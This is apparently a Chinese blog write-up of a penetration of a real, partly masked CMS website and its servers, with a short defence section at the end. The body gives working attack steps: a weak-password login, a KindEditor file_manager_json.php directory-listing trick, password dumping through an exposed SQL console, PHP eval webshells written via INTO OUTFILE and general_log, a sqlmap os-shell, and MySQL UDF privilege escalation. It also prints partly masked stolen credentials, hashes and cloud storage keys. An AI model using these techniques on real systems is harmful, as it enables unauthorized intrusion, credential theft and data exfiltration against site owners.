對某網站的一次掃描及***測試
1.1對某網站的一次***
1.1.1後臺人弱口令登陸系統
1.登入CMS後臺
由於前期已經對目標網站進行過摸排，獲取了目標網站類似演示系統的測試賬號admin/123456，因此直接在目標網站http://c*****.t*****.com/m.php進行登入，如圖1所示，成功登入該CMS系統。該CMS網站帶有一定的安全意識，修改了admin.php為m.php，雖然admin.php頁面存在，但不發揮作用。
圖1 登入CMS後臺
2.對後臺逐個功能進行分析和研究
登入後臺後對系統設定、檔案上傳、資料備份、專案管理、訂單管理、會員管理、計劃任務、移動平臺等進行檢視，分析該系統是自主開發還是採用公開模板開發。通過對該系統分析發現該系統是獨立開發，在網際網路上未有公開原始碼，無法對其進行原始碼審計。
1.1.2漏洞初步挖掘
1.檔案上傳模組分析
（1）系統所有上傳模組都採用同一個上傳編輯器Kindeditor，經過實際測試，所有檔案上傳的漏洞及相關方法失效。
（2）檔案上傳模組採用Kindeditor編輯器，通過尋找圖片或者檔案上傳的地方，如圖2所示，選擇“網路上的圖片”，然後單擊瀏覽即可對該CMS所在伺服器上的上傳資料夾進行檢視。
圖2測試上傳模組
（3）Kindeditor編輯器檔案瀏覽漏洞
Kindeditor編輯器file_manager_json.php的path引數存在過濾不嚴格漏洞，可以通過修改該引數來瀏覽磁碟檔案，早期版本Kindeditor編輯器不需要帶後續引數即可瀏覽目錄，新版本對漏洞進行修復過，但仍然存在漏洞，只是需要加上“&order=NAME&1546003143021”類似值，這個值是系統自動生成的。可以通過BurpSuite抓包獲取，如圖3所示。在許可權限制不嚴格的情況下，可以通過修改path引數值對磁碟檔案進行檢視，原始的值path中無“/”，在BurpSuite中的Repeater中修改其值後，單擊“Go”提交，則可以在右邊視窗獲取檔案列表等相關資訊。
圖3測試檔案目錄瀏覽漏洞
當然也可以在瀏覽器中訪問以下地址來獲取BurpSuite抓包提交一樣的效果：
http://c*****.t*****.com/admin/public/kindeditor/php/file_manager_json.php?path=&order=NAME&1546003143021。通過BurpSuite再次對path引數進行修改，但由於許可權問題，如圖4所示，無法獲取上級目錄中的檔案資訊。
圖4無法獲取上級目錄檔案資訊
關鍵知識點：kindeditor/php/file_manager_json.php?path=&order=NAME&1546003143021
2.資料庫備份及還原
（1）可以對資料庫進行備份。但不知道資料備份檔案的位置及其檔名稱。
（2）資料庫查詢。網站提供了直接對資料庫查詢介面，可以在其中輸入語句來進行查詢，http://c****.t*****.com/m.php?m=Database&a=sql&，通過執行MySQL相關命令來獲取獲取資料庫中使用者及密碼等資訊，例如執行select * from mysql.user，如圖5所示，獲取資料庫使用者及密碼等有用資訊，其中MySQL密碼可以直接在cmd5.com等網站進行破解。
圖5獲取資料庫使用者等資訊
3.其它功能模組測試
由於在實際系統上，因此不能進行有可能導致系統崩潰及出現問題的測試。在實際系統未備份時執行危險操作可能導致資料庫等刪除後無法恢復。
1.1.3對伺服器進行資訊收集
1.伺服器IP地址資訊收集
（1）直接ping 域名，獲取IP地址為：1**.1**.3*.**4。
（2）網站https://www.yougetsignal.com/tools/web-sites-on-web-server/域名反查獲取IP地址。
2.對伺服器IP地址進行埠掃描
通過Nmap對該IP地址進行掃描，掃描結果顯示該IP開放21、22、80及3306埠。
3.分別對21、22及80埠進行測試
（1）21埠為Ftp埠，該服務存在Ftp伺服器。
（2）對80埠進行訪問，也即直接IP地址訪問，如圖6所示，可以看出系統採用開源架構OneinStack安裝Web伺服器，在頁面上可以檢視本地環境資訊，包括phpinfo、phpMyAdmin等資訊。
圖6獲取Web伺服器架構
（3）破解前面的MySQL密碼並登入phpMyAdmin
在瀏覽器中開啟http://1**.1**.3*.**4/phpMyAdmin/，輸入前面獲取的賬號和密碼root/w*****888，進行登入，如圖7所示，成功獲取該MySQL資料庫Root許可權。
圖7獲取資料庫管理許可權
（4）對資料庫中各個庫的表資訊進行整理，獲取真實實體地址資訊如下：
/data/wwwroot/******ud.****s.cn/admin/public/robot/robot_0029.jpg
******ud.****s.cn/admin/public/robot/robot_0029.jpg
/data/wwwroot/www.s ******.com/admin/public/robot/robot_0026.jpg
/data/wwwroot/******ud.****s.cn/admin/public/robot/robot_0052.jpg
/data/wwwroot/ajg.t*****.com/admin/public/robot/robot_0596.jpg
（5）獲取資料庫對應網站地址
通過對資料庫中的表分析，獲取資料庫對應的網站URL資訊，其中***shop資料庫對應網站a**.t*****.com，管理員密碼admin/dd****09。
1.1.4嘗試獲取webshell
由於本次獲取的MySQL資料庫賬號是root賬號，按照過去的經驗應該很好獲取Webshell，但伺服器環境為Linux，經過後續測試未能獲取Webshell，下面將其中用過的一些方法進行總結和分析。
1.讀取CMS系統檔案內容
（1）在本地搭建環境測試讀取檔案內容
在本地進行測試，select load_file('C:/ComsenzEXP/wwwroot/demo/index.php');如圖8所示，成功讀取index.php檔案。
圖8讀取本地伺服器檔案
（2）對實際伺服器進行測試。
由於目標伺服器開通了3306埠，可以通過Navigate等MySQL客戶端工具進行連線，開啟後執行命令：
select load_file('/data/wwwroot/******ud.****s.cn/index.php');
如圖9所示，實際結果顯示為NULL，無法讀取檔案內容。
圖9對實際伺服器讀取檔案內容測試
2.寫入檔案測試
（1）先在本地環境進行檔案匯出測試：
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/ComsenzEXP/wwwroot/demo/eval.php';如圖10所示，執行成功，生成一句話後門，密碼為“cmd”；
圖10生成一句話後門
（2）實際伺服器測試。根據前面的掌握的網站物理路徑情況，執行命令：
select '<?php eval($_POST[cmd]);?>' into outfile '/data/wwwroot/a**.t*****.com/admin/public/robot/eval.php';由於Linux許可權問題無法寫入。
3.使用sqlmap直連MySQL方式方式來獲取cmd_shell
執行MySQL直連獲取cmd_shell命令，雖然執行成功，但無法執行命令。
sqlmap.py -d "mysql://sroot:w*****[email protected]**.1**.3*.**4:3306/mysql" --os_shell
4.執行MySQL獲取Webshell的general_log方法
配置general_log方法是MySQL資料庫禁止通過匯出方式（secure-file-priv引數設定禁止匯入匯出）寫入Webshell的情況下，通過設定日誌檔案，然後執行查詢來獲取Webshell的方法。
（1）檢視genera變數
show variables like '%general%';
（2）啟用general_log變數
set global general_log = on;
（3）設定general_log記錄檔案為shell檔案
set global general_log_file = '/data/wwwroot/www.*****.cn/abouts1.php';
（4）如果執行成功這執行cmd一句話查詢命令即可。
select '<?php eval($_POST[cmd]);?>'
執行後，由於許可權問題，無法直接獲取Webshell，如圖11所示。
圖11通過general_log方法獲取webshell失敗
6.linux下MySQL提權
show variables like '%plugin%';
select * from func;
select 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into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
create function sys_eval returns string soname 'mysqludf.so';
select sys_eval('whoami');
select * from func;
上面的方法等同於sqlmap直連資料進行提權，由於無法匯入資料因此也無法提權。
1.1.5對另外一個同類目標的***
1.子域名資訊收集
通過subDomainsBrute（https://github.com/lijiejie/subDomainsBrute）在kali中搜索目標*****.cn的子域名資訊：
./subDomainsBrute.py *****.cn
經過測試，獲取job.*****.cn、image.*****.cn、api.*****.cn後無其他子域名資訊
2.主站***
（1）出錯資訊獲取真實實體地址
/data/wwwroot/www.*****.cn/ThinkPHP/Library/Think/Dispatcher.class.php
（2）www.*****.cn後臺弱口令
主站CMS存在admin/admin弱口令，系統採用ThinkPHP架構開發，版本為3.2.3，雖然進入了後，也無法獲取Webshell
3.目標站點***
對目標站點通過******ud.****s.cn/m.php 後臺管理進行登入，代理弱口令登入後臺後，通過越權漏洞，成功獲取資料庫密碼。
（1）管理員帳號及密碼
admin 203972cad03302b4e83985004b159e66 61.156.121.192 w*****12
cadmin 2b2df28f20de4189ea1c4493f3e5e5bf 39.83.43.146 q*****14
（2）資料庫使用者及密碼
http://******ud.****s.cn/m.php?m=Database&a=sql&
select host,user,password from mysql.user ，如圖12所示，成功獲取該伺服器密碼。
圖12獲取資料庫密碼
（3）通過客戶端工具成功連線資料庫
通過客戶端連線工具直接連線資料庫，如圖13所示，可以對資料庫進行管理操作。
圖13連線MySQL資料庫進行管理
1.1.6oss伺服器***
1.oss管理客戶端下載地址
（1）32位：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-win32-ia32.zip?spm=a2c4g.11186623.2.8.5c735352ekAZYC&file=oss-browser-win32-ia32.zip
（2）64位：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-win32-x64.zip?spm=a2c4g.11186623.2.9.5c735352cSK0r0&file=oss-browser-win32-x64.zip
（3）mac：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-darwin-x64.zip?spm=a2c4g.11186623.2.10.5c735352ekAZYC&file=oss-browser-darwin-x64.zip
（4）linux 64：http://gosspublic.alicdn.com/oss-browser/1.7.4/oss-browser-linux-x64.zip?spm=a2c4g.11186623.2.11.5c735352ekAZYC&file=oss-browser-linux-x64.zip
2.通過資料庫中獲取了KeyID和keySecret資訊
在資料庫中發現配置有連個OSS帳號相關資訊：
（1）OSS帳號1詳細資訊
{"keyId":"LTAI*****9O3cMjZ","keySecret":"INBUN3sOb*****9Nq2m5K4FtNEd","endpoint":"oss-cn-beijing.aliyuncs.com","bucket":"v*****9","id":"1"}
（2）OSS帳號2詳細資訊
{"keyId":"LTA*****929oTEL","keySecret":"RA5hx*****9qkrf9UUmI63ZNDuu","id":"6"}
3.通過OSS客戶端進行連線並檢視檔案
（1）登入OSS客戶端。將前面對應作業系統的OSS客戶端下載到本地，阿里雲官方版本為1.7.4最新版本為1.8.1，執行oss-browser程式後，輸入AccesskeyId和AccessKeySecret進行登入，如圖14所示。
圖14使用OSS客戶端進行登入
（2）檢視其OSS檔案儲存檔案
如圖15所示，登入起OSS檔案儲存伺服器後，該伺服器主要儲存圖片檔案，目標伺服器CMS所有圖片及對應檔案均上傳到OSS伺服器上，選中對應的資料夾後可以將其下載到本地。
圖15圖片儲存資訊
1.1.7防禦及總結
1.多種技術交叉配合使用，技術難度不高
（1）在本案例中使用弱口令測試
（2）MySQL伺服器檔案讀取
（3）MySQL資料庫檔案匯出
（4）MySQL資料庫多個Webshell獲取方法測試
（5）OSS帳號及登入OSS伺服器檢視
（6）Kindeditor檔案編輯器漏洞利用
2.通過分析伺服器上資料庫，獲取該CMS早期版本，通過分析其檔案發下資料庫檔案備份後可以被下載。
（1）資料庫備份時會自動生成一個記錄，該記錄即為資料備份資料夾名稱，例如1545946653為檔名稱，則詳細的下載地址為：
http://localhost//demo/public/db_backup/1545946653/1545946653_1.sql
http://localhost//demo/public/db_backup/1545946653/1545946653_9.sql
（2）即使無Root許可權，也可以獲取資料庫檔案，將資料進行備份，然後下載即可，如圖16所示，按照命名規則進行下載即可。
圖16下載資料庫檔案
3.防禦方法
（1）在本文中，Linux伺服器已經進行嚴格的許可權設定
（2）MySQL資料庫賬號許可權不宜為Root許可權，一個數據庫使用者對應一個數據庫，最少授權。
（3）CMS中不要留有SQL查詢公開介面，該介面會成為突破的缺口。
（4）後臺結合手機驗證碼進行登入驗證，即時弱口令也無法登入。
如果覺得本文不錯，請訪問作者更多精彩專欄文章：Web網站安全評估分析及防禦和《網路安全入門到實戰，讓SQLmap×××飛一會兒》